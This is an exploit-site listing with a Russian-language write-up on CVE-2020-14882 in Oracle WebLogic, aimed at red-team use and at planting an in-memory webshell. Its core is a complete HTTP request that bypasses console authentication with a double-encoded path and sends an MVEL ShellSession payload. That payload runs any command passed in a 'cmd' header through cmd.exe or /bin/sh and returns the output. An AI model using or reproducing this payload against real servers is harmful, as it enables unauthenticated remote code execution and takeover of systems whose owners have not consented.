Sploitus

Exploit for CVE-2020-14882

kitploit · 2026-08-26

Exploit Code

MARKDOWN24 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KK98KK0-CVE-2020-14882
# CVE-2020-14882 Развертывание WebShell в памяти BeeShell

Как известно, CVE-2020-14882 — это уязвимость несанкционированного доступа, с помощью которой злоумышленник может выполнить произвольный код на уязвимом сервере WebLogic. В общедоступных PoC для этой уязвимости используется обход проверки через недопустимые символы, а затем выполнение команд с помощью Gadget. Однако в реальных сценариях и при атаках Red Team простого выполнения команд недостаточно. Поэтому особенно важно уметь использовать эту уязвимость для развертывания WebShell в памяти.

Статей с анализом уязвимости в сети много — все сводится к проблеме двойного кодирования. Посмотрим непосредственно на общедоступный PoC-код выполнения:

root@kitploit:~
    
    
    POST /console/images/%252e%252e/console.portal HTTP/1.1
    Host: 192.168.137.129:7001
    cmd: whoami
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.137.129:7001/console/login/LoginForm.jsp
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: ADMINCONSOLESESSION=bVc4ldVQMjOVUU4Ch2gfrbdjJzOseetqLr98eCB-_a-1KoUGzBLm!2048667864; ADMINCONSOLESESSION=6KHjgTjHTJphTvmMmpSd6L1c1gmnwwD1nnjT2J5p6JrrhvxHjChb!355090686
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 1182
    
    _nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')